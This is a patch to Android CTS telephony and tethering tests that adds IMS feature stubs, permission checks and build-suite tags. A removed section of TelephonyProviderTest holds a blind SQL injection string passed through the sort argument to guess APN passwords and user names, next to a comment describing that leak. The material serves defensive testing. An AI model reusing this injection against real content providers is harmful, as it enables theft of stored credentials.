+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestMmTelFeature.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.telephony.ims.feature.CapabilityChangeRequest;
+import android.telephony.ims.feature.MmTelFeature;
+import android.telephony.ims.stub.ImsRegistrationImplBase;
+import android.util.Log;
+
+import java.util.List;
+
+public class TestMmTelFeature extends MmTelFeature {
+
+    private final TestImsService.RemovedListener mRemovedListener;
+    private final TestImsService.ReadyListener mReadyListener;
+    private final TestImsService.CapabilitiesSetListener mCapSetListener;
+
+    private static final String TAG = "CtsTestImsService";
+
+    private MmTelCapabilities mCapabilities =
+            new MmTelCapabilities(MmTelCapabilities.CAPABILITY_TYPE_SMS);
+    private TestImsSmsImpl mSmsImpl;
+
+    TestMmTelFeature(TestImsService.ReadyListener readyListener,
+            TestImsService.RemovedListener removedListener,
+            TestImsService.CapabilitiesSetListener setListener) {
+        mReadyListener = readyListener;
+        mRemovedListener = removedListener;
+        mCapSetListener = setListener;
+        mSmsImpl = new TestImsSmsImpl();
+        // Must set the state to READY in the constructor - onFeatureReady depends on the state
+        // being ready.
+        setFeatureState(STATE_READY);
+    }
+
+    public TestImsSmsImpl getSmsImplementation() {
+        return mSmsImpl;
+    }
+
+    @Override
+    public boolean queryCapabilityConfiguration(int capability, int radioTech) {
+        if (ImsUtils.VDBG) {
+            Log.d(TAG, "queryCapabilityConfiguration called with capability: " + capability);
+        }
+        return mCapabilities.isCapable(capability);
+    }
+
+    @Override
+    public void changeEnabledCapabilities(CapabilityChangeRequest request,
+            CapabilityCallbackProxy c) {
+        List<CapabilityChangeRequest.CapabilityPair> pairs = request.getCapabilitiesToEnable();
+        for (CapabilityChangeRequest.CapabilityPair pair : pairs) {
+            if (pair.getRadioTech() == ImsRegistrationImplBase.REGISTRATION_TECH_LTE) {
+                mCapabilities.addCapabilities(pair.getCapability());
+            }
+        }
+        pairs = request.getCapabilitiesToDisable();
+        for (CapabilityChangeRequest.CapabilityPair pair : pairs) {
+            if (pair.getRadioTech() == ImsRegistrationImplBase.REGISTRATION_TECH_LTE) {
+                mCapabilities.removeCapabilities(pair.getCapability());
+            }
+        }
+        mCapSetListener.onSet();
+    }
+
+    @Override
+    public void onFeatureReady() {
+        if (ImsUtils.VDBG) {
+            Log.d(TAG, "TestMmTelFeature.onFeatureReady called");
+        }
+        mReadyListener.onReady();
+    }
+
+    @Override
+    public void onFeatureRemoved() {
+        if (ImsUtils.VDBG) {
+            Log.d(TAG, "TestMmTelFeature.onFeatureRemoved called");
+        }
+        mRemovedListener.onRemoved();
+    }
+
+    public void setCapabilities(MmTelCapabilities capabilities) {
+        mCapabilities = capabilities;
+    }
+
+    public MmTelCapabilities getCapabilities() {
+        return mCapabilities;
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
new file mode 100644
index 0000000..9752258
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.telephony.ims.feature.CapabilityChangeRequest;
+import android.telephony.ims.feature.RcsFeature;
+import android.telephony.ims.stub.ImsRegistrationImplBase;
+import android.util.Log;
+
+import java.util.List;
+
+public class TestRcsFeature extends RcsFeature {
+    private static final String TAG = "CtsTestImsService";
+
+    private final TestImsService.ReadyListener mReadyListener;
+    private final TestImsService.RemovedListener mRemovedListener;
+    private final TestImsService.CapabilitiesSetListener mCapSetListener;
+
+    private RcsImsCapabilities mCapabilities =
+            new RcsImsCapabilities(RcsImsCapabilities.CAPABILITY_TYPE_NONE);
+
+    TestRcsFeature(TestImsService.ReadyListener readyListener,
+            TestImsService.RemovedListener listener,
+            TestImsService.CapabilitiesSetListener setListener) {
+        mReadyListener = readyListener;
+        mRemovedListener = listener;
+        mCapSetListener = setListener;
+
+        setFeatureState(STATE_READY);
+    }
+
+    @Override
+    public void onFeatureReady() {
+        if (ImsUtils.VDBG) {
+            Log.d(TAG, "TestRcsFeature.onFeatureReady called");
+        }
+        mReadyListener.onReady();
+    }
+
+    @Override
+    public void onFeatureRemoved() {
+        if (ImsUtils.VDBG) {
+            Log.d(TAG, "TestRcsFeature.onFeatureRemoved called");
+        }
+        mRemovedListener.onRemoved();
+    }
+
+
+    @Override
+    public boolean queryCapabilityConfiguration(int capability, int radioTech) {
+        if (ImsUtils.VDBG) {
+            Log.d(TAG, "TestRcsFeature.queryCapabilityConfiguration called with capability: "
+                    + capability);
+        }
+        return mCapabilities.isCapable(capability);
+    }
+
+    @Override
+    public void changeEnabledCapabilities(CapabilityChangeRequest request,
+            CapabilityCallbackProxy c) {
+        if (ImsUtils.VDBG) {
+            Log.d(TAG, "TestRcsFeature.changeEnabledCapabilities");
+        }
+        List<CapabilityChangeRequest.CapabilityPair> pairs = request.getCapabilitiesToEnable();
+        for (CapabilityChangeRequest.CapabilityPair pair : pairs) {
+            if (pair.getRadioTech() == ImsRegistrationImplBase.REGISTRATION_TECH_LTE) {
+                mCapabilities.addCapabilities(pair.getCapability());
+            }
+        }
+        pairs = request.getCapabilitiesToDisable();
+        for (CapabilityChangeRequest.CapabilityPair pair : pairs) {
+            if (pair.getRadioTech() == ImsRegistrationImplBase.REGISTRATION_TECH_LTE) {
+                mCapabilities.removeCapabilities(pair.getCapability());
+            }
+        }
+        mCapSetListener.onSet();
+    }
+}
diff --git a/tests/tests/telephony/sdk28/Android.bp b/tests/tests/telephony/sdk28/Android.bp
index eaeed0f..b4c27d1 100644
--- a/tests/tests/telephony/sdk28/Android.bp
+++ b/tests/tests/telephony/sdk28/Android.bp
@@ -27,6 +27,7 @@
     test_suites: [
         "cts",
         "vts",
+        "mts",
         "general-tests",
     ],
     libs: [
diff --git a/tests/tests/telephony2/Android.bp b/tests/tests/telephony2/Android.bp
index def3a75..df50f48 100644
--- a/tests/tests/telephony2/Android.bp
+++ b/tests/tests/telephony2/Android.bp
@@ -25,6 +25,7 @@
     test_suites: [
         "cts",
         "vts",
+        "mts",
         "general-tests",
     ],
     libs: [
diff --git a/tests/tests/telephony2/OWNERS b/tests/tests/telephony2/OWNERS
index 7c8e7d8c..f4921e0 100644
--- a/tests/tests/telephony2/OWNERS
+++ b/tests/tests/telephony2/OWNERS
@@ -1,5 +1,2 @@
 # Bug component: 20868
-rgreenwalt@google.com
-jackyu@google.com
-tgunn@google.com
-amitmahajan@google.com
+include ../telephony/OWNERS
diff --git a/tests/tests/telephony3/Android.bp b/tests/tests/telephony3/Android.bp
index 563dbcb..9b11dbd 100644
--- a/tests/tests/telephony3/Android.bp
+++ b/tests/tests/telephony3/Android.bp
@@ -24,6 +24,7 @@
     test_suites: [
         "cts",
         "vts",
+        "mts",
         "general-tests",
     ],
     libs: ["android.test.runner.stubs"] + ["android.test.base.stubs"],
diff --git a/tests/tests/telephony3/OWNERS b/tests/tests/telephony3/OWNERS
new file mode 100644
index 0000000..f4921e0
--- /dev/null
+++ b/tests/tests/telephony3/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 20868
+include ../telephony/OWNERS
diff --git a/tests/tests/telephony4/Android.bp b/tests/tests/telephony4/Android.bp
index ae22400..79fad95 100644
--- a/tests/tests/telephony4/Android.bp
+++ b/tests/tests/telephony4/Android.bp
@@ -31,6 +31,7 @@
     test_suites: [
         "cts",
         "vts",
+        "mts",
         "general-tests",
     ],
     certificate: ":android_telephony_cts_testkey",
diff --git a/tests/tests/telephony4/OWNERS b/tests/tests/telephony4/OWNERS
index 5617896..3a905dd 100644
--- a/tests/tests/telephony4/OWNERS
+++ b/tests/tests/telephony4/OWNERS
@@ -1,2 +1,4 @@
 # Bug component: 20868
-yinxu@google.com
\ No newline at end of file
+include ../telephony/OWNERS
+
+yinxu@google.com
diff --git a/tests/tests/telephonyprovider/OWNERS b/tests/tests/telephonyprovider/OWNERS
index 92458db..7f7694d 100644
--- a/tests/tests/telephonyprovider/OWNERS
+++ b/tests/tests/telephonyprovider/OWNERS
@@ -1,12 +1,3 @@
-amitmahajan@google.com
-fionaxu@google.com
-jackyu@google.com
-rgreenwalt@google.com
-refuhoo@google.com
-mpq@google.com
-jminjie@google.com
-shuoq@google.com
-hallliu@google.com
-tgunn@google.com
-breadley@google.com
-nazaninb@google.com
+# Bug component: 450841
+include ../telephony/OWNERS
+lelandmiller@google.com
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/CellBroadcastProviderTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/CellBroadcastProviderTest.java
new file mode 100644
index 0000000..16c9c39
--- /dev/null
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/CellBroadcastProviderTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephonyprovider.cts;
+
+import android.content.ContentResolver;
+import android.provider.Telephony;
+import android.test.InstrumentationTestCase;
+
+public class CellBroadcastProviderTest extends InstrumentationTestCase {
+    private ContentResolver mContentResolver;
+    private static boolean sHasShellPermissionIdentity = false;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContentResolver = getInstrumentation().getContext().getContentResolver();
+    }
+
+    // this is only allowed for privileged process
+    public void testAccess() {
+        try {
+            mContentResolver.query(Telephony.CellBroadcasts.CONTENT_URI,
+                    null, null, null, null);
+            fail("No SecurityException thrown");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    public void testAccessMessageHistoryWithoutPermission() {
+        try {
+            mContentResolver.query(Telephony.CellBroadcasts.MESSAGE_HISTORY_URI,
+                    null, null, null, null);
+            fail("No SecurityException thrown");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+}
+
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java
index 3324d7d..3f85f84 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java
@@ -22,16 +22,23 @@
 
 import android.app.role.RoleManager;
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.os.Process;
 import android.os.UserHandle;
 
 import androidx.test.core.app.ApplicationProvider;
 
+import org.junit.Assume;
+
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executor;
 
 class DefaultSmsAppHelper {
     static void ensureDefaultSmsApp() {
+        if (!hasTelephony()) {
+            return;
+        }
+
         Context context = ApplicationProvider.getApplicationContext();
 
         String packageName = context.getPackageName();
@@ -58,8 +65,17 @@
         try {
             latch.await();
             assertTrue(success[0]);
-        } catch(InterruptedException ex) {
+        } catch (InterruptedException ex) {
             throw new RuntimeException(ex.getMessage());
         }
     }
+
+    static void assumeTelephony() {
+        Assume.assumeTrue(hasTelephony());
+    }
+
+    private static boolean hasTelephony() {
+        Context context = ApplicationProvider.getApplicationContext();
+        return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+    }
 }
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
index 9e45328..00e4dfe 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
@@ -16,6 +16,8 @@
 
 package android.telephonyprovider.cts;
 
+import static android.telephonyprovider.cts.DefaultSmsAppHelper.assumeTelephony;
+
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -61,6 +63,7 @@
 
     @Before
     public void setupTestEnvironment() {
+        assumeTelephony();
         cleanup();
         mContentResolver = getInstrumentation().getContext().getContentResolver();
     }
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsTest.java
index 14f05a5..578f1f5 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsTest.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsTest.java
@@ -16,6 +16,8 @@
 
 package android.telephonyprovider.cts;
 
+import static android.telephonyprovider.cts.DefaultSmsAppHelper.assumeTelephony;
+
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -65,6 +67,7 @@
 
     @Before
     public void setupTestEnvironment() {
+        assumeTelephony();
         cleanup();
         mContentResolver = getInstrumentation().getContext().getContentResolver();
     }
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java
index 3d449f2..df92443 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java
@@ -16,79 +16,51 @@
 
 package android.telephonyprovider.cts;
 
+import static android.telephonyprovider.cts.DefaultSmsAppHelper.assumeTelephony;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
 import android.content.ContentResolver;
 import android.database.Cursor;
 import android.provider.Telephony.Carriers;
-import android.test.InstrumentationTestCase;
 
-public class TelephonyProviderTest extends InstrumentationTestCase {
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TelephonyProviderTest {
     private ContentResolver mContentResolver;
     private static final String[] APN_PROJECTION = {
-        Carriers.TYPE,
-        Carriers.MMSC,
-        Carriers.MMSPROXY,
-        Carriers.MMSPORT,
-        Carriers.MVNO_TYPE,
-        Carriers.MVNO_MATCH_DATA
+            Carriers.TYPE,
+            Carriers.MMSC,
+            Carriers.MMSPROXY,
+            Carriers.MMSPORT,
+            Carriers.MVNO_TYPE,
+            Carriers.MVNO_MATCH_DATA
     };
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
+        assumeTelephony();
         mContentResolver = getInstrumentation().getContext().getContentResolver();
     }
 
     // In JB MR1 access to the TelephonyProvider's Carriers table was clamped down and would
     // throw a SecurityException when queried. That was fixed in JB MR2. Verify that 3rd parties
     // can access the APN info the carriers table, after JB MR1.
+
+    // However, in R, a security bug was discovered that let apps read the password by querying
+    // multiple times and matching passwords against a regex in the query. Due to this hole, we're
+    // locking down the API and no longer allowing the exception. Accordingly, the behavior of this
+    // test is now reversed and we expect a SecurityException to be thrown.
+    @Test
     public void testAccessToApns() {
         try {
             String selection = Carriers.CURRENT + " IS NOT NULL";
             String[] selectionArgs = null;
             Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
                     APN_PROJECTION, selection, selectionArgs, null);
-        } catch (SecurityException e) {
-            fail("No access to current APN");
-        }
-    }
-
-    public void testNoAccessToPassword() {
-        try {
-            String selection = Carriers.CURRENT + " IS NOT NULL AND "
-                    + Carriers.PASSWORD + " IS NOT NULL";
-            String[] selectionArgs = null;
-            Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
-                    APN_PROJECTION, selection, selectionArgs, null);
-            fail("Expected SecurityException");
-        } catch (SecurityException e) {
-            // expected
-        }
-    }
-
-    public void testNoAccessToPasswordThruSort() {
-        try {
-            String selection = Carriers.CURRENT + " IS NOT NULL";
-            String[] selectionArgs = null;
-            String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE"
-                    + " password LIKE 'a%') > 0) THEN 1 ELSE 0 END";
-            Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
-                    APN_PROJECTION, selection, selectionArgs, sort);
-            fail("Expected SecurityException");
-        } catch (SecurityException e) {
-            // expected
-        }
-    }
-
-    public void testNoAccessToUser() {
-        try {
-            String selection = Carriers.CURRENT + " IS NOT NULL AND "
-                    + Carriers.USER + " IS NOT NULL";
-            String[] selectionArgs = null;
-            String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE"
-                    + " user LIKE 'a%') > 0) THEN 1 ELSE 0 END";
-            Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
-                    APN_PROJECTION, selection, selectionArgs, sort);
-            fail("Expected SecurityException");
+            Assert.fail("No SecurityException thrown");
         } catch (SecurityException e) {
             // expected
         }
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/ThreadsTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/ThreadsTest.java
index a92870d..66365e2 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/ThreadsTest.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/ThreadsTest.java
@@ -16,6 +16,8 @@
 
 package android.telephonyprovider.cts;
 
+import static android.telephonyprovider.cts.DefaultSmsAppHelper.assumeTelephony;
+
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -58,6 +60,7 @@
 
     @Before
     public void setupTestEnvironment() {
+        assumeTelephony();
         cleanup();
         mContext = getInstrumentation().getContext();
         mContentResolver = mContext.getContentResolver();
diff --git a/tests/tests/tethering/Android.bp b/tests/tests/tethering/Android.bp
new file mode 100644
index 0000000..0f98125
--- /dev/null
+++ b/tests/tests/tethering/Android.bp
@@ -0,0 +1,44 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsTetheringTest",
+    defaults: ["cts_defaults"],
+
+    libs: [
+        "android.test.base.stubs",
+    ],
+
+    srcs: [
+        "src/**/*.java",
+    ],
+
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "junit",
+        "junit-params",
+    ],
+
+    // Change to system current when TetheringManager move to bootclass path.
+    platform_apis: true,
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+    ],
+
+}
diff --git a/tests/tests/tethering/AndroidManifest.xml b/tests/tests/tethering/AndroidManifest.xml
new file mode 100644
index 0000000..665002e
--- /dev/null
+++ b/tests/tests/tethering/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.tethering.cts">
+
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+    </application>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.tethering.cts"
+                     android:label="CTS tests of android.tethering">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/tethering/AndroidTest.xml b/tests/tests/tethering/AndroidTest.xml
new file mode 100644
index 0000000..217d53a
--- /dev/null
+++ b/tests/tests/tethering/AndroidTest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Tethering test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="networking" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsTetheringTest.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.tethering.cts" />
+    </test>
+</configuration>
diff --git a/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java b/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java
new file mode 100644
index 0000000..9efb8f3
--- /dev/null
+++ b/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java
@@ -0,0 +1,222 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.tethering.test;
+
+import static org.junit.Assert.fail;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.ConnectivityManager;
+import android.os.ConditionVariable;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class TetheringManagerTest {
+
+    private Context mContext;
+
+    private ConnectivityManager mCM;
+
+    private TetherChangeReceiver mTetherChangeReceiver;
+
+    private String[] mTetheredList;
+
+    private static final int DEFAULT_TIMEOUT_MS = 60_000;
+
+    @Before
+    public void setUp() throws Exception {
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity();
+        mContext = InstrumentationRegistry.getContext();
+        mCM = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
+        mTetherChangeReceiver = new TetherChangeReceiver();
+        final IntentFilter filter = new IntentFilter(
+                ConnectivityManager.ACTION_TETHER_STATE_CHANGED);
+        final Intent intent = mContext.registerReceiver(mTetherChangeReceiver, filter);
+        if (intent != null) mTetherChangeReceiver.onReceive(null, intent);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mContext.unregisterReceiver(mTetherChangeReceiver);
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    private class TetherChangeReceiver extends BroadcastReceiver {
+        private class TetherState {
+            final ArrayList<String> mAvailable;
+            final ArrayList<String> mActive;
+            final ArrayList<String> mErrored;
+
+            TetherState(Intent intent) {
+                mAvailable = intent.getStringArrayListExtra(
+                        ConnectivityManager.EXTRA_AVAILABLE_TETHER);
+                mActive = intent.getStringArrayListExtra(
+                        ConnectivityManager.EXTRA_ACTIVE_TETHER);
+                mErrored = intent.getStringArrayListExtra(
+                        ConnectivityManager.EXTRA_ERRORED_TETHER);
+            }
+        }
+
+        @Override
+        public void onReceive(Context content, Intent intent) {
+            String action = intent.getAction();
+            if (action.equals(ConnectivityManager.ACTION_TETHER_STATE_CHANGED)) {
+                mResult.add(new TetherState(intent));
+            }
+        }
+
+        public final LinkedBlockingQueue<TetherState> mResult = new LinkedBlockingQueue<>();
+
+        // This method expects either an event where one of the interfaces is active, or an event
+        // where one of the interface is available followed by one where one of the interfaces is
+        // active.
+        public void expectActiveTethering(String[] ifaceRegexs) {
+            TetherState state = pollAndAssertNoError(DEFAULT_TIMEOUT_MS);
+            if (state == null) fail("Do not receive tethering state change broadcast");
+
+            if (isIfaceActive(ifaceRegexs, state)) return;
+
+            if (isIfaceAvailable(ifaceRegexs, state)) {
+                state = pollAndAssertNoError(DEFAULT_TIMEOUT_MS);
+                if (isIfaceActive(ifaceRegexs, state)) return;
+            }
+
+            fail("Tethering is not actived, available ifaces: " + state.mAvailable.toString()
+                    + ", active ifaces: " + state.mActive.toString());
+        }
+
+        private TetherState pollAndAssertNoError(final int timeout) {
+            final TetherState state = pollTetherState(timeout);
+            assertNoErroredIfaces(state);
+            return state;
+        }
+
+        private TetherState pollTetherState(final int timeout) {
+            try {
+                return mResult.poll(timeout, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                fail("No result after " + timeout + " ms");
+                return null;
+            }
+        }
+
+        private boolean isIfaceActive(final String[] ifaceRegexs, final TetherState state) {
+            return isIfaceMatch(ifaceRegexs, state.mActive);
+        }
+
+        private boolean isIfaceAvailable(final String[] ifaceRegexs, final TetherState state) {
+            return isIfaceMatch(ifaceRegexs, state.mAvailable);
+        }
+
+        // This method requires a broadcast to have been recorded iff the timeout is non-zero.
+        public void expectNoActiveTethering(final int timeout) {
+            final TetherState state = pollAndAssertNoError(timeout);
+
+            if (state == null) {
+                if (timeout != 0) {
+                    fail("Do not receive tethering state change broadcast");
+                }
+                return;
+            }
+
+            assertNoActiveIfaces(state);
+
+            for (final TetherState ts : mResult) {
+                assertNoErroredIfaces(ts);
+
+                assertNoActiveIfaces(ts);
+            }
+        }
+
+        private void assertNoErroredIfaces(final TetherState state) {
+            if (state == null || state.mErrored == null) return;
+
+            if (state.mErrored.size() > 0) {
+                fail("Found failed tethering interfaces: " + state.mErrored.toArray());
+            }
+        }
+
+        private void assertNoActiveIfaces(final TetherState state) {
+            if (state.mActive != null && state.mActive.size() > 0) {
+                fail("Found active tethering interface: " + state.mActive.toArray());
+            }
+        }
+    }
+
+    private class OnStartTetheringCallback extends
+            ConnectivityManager.OnStartTetheringCallback {
+        @Override
+        public void onTetheringStarted() {
+            // Do nothing, TetherChangeReceiver will wait until it receives the broadcast.
+        }
+
+        @Override
+        public void onTetheringFailed() {
+            fail("startTethering fail");
+        }
+    }
+
+    private static boolean isIfaceMatch(final String[] ifaceRegexs,
+            final ArrayList<String> ifaces) {
+        if (ifaceRegexs == null) fail("ifaceRegexs should not be null");
+
+        if (ifaces == null) return false;
+
+        for (String s : ifaces) {
+            for (String regex : ifaceRegexs) {
+                if (s.matches(regex)) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    @Test
+    public void testStartTetheringWithStateChangeBroadcast() throws Exception {
+        if (!mCM.isTetheringSupported()) return;
+
+        final String[] wifiRegexs = mCM.getTetherableWifiRegexs();
+        if (wifiRegexs.length == 0) return;
+
+        mTetherChangeReceiver.expectNoActiveTethering(0 /** timeout */);
+
+        final OnStartTetheringCallback startTetheringCallback = new OnStartTetheringCallback();
+        mCM.startTethering(ConnectivityManager.TETHERING_WIFI, true, startTetheringCallback);
+        mTetherChangeReceiver.expectActiveTethering(wifiRegexs);
+
+        mCM.stopTethering(ConnectivityManager.TETHERING_WIFI);
+        mTetherChangeReceiver.expectNoActiveTethering(DEFAULT_TIMEOUT_MS);
+    }
+}
diff --git a/tests/tests/text/Android.bp b/tests/tests/text/Android.bp
index a8080b0..f3d34bf 100644
--- a/tests/tests/text/Android.bp
+++ b/tests/tests/text/Android.bp
@@ -48,5 +48,6 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
 }
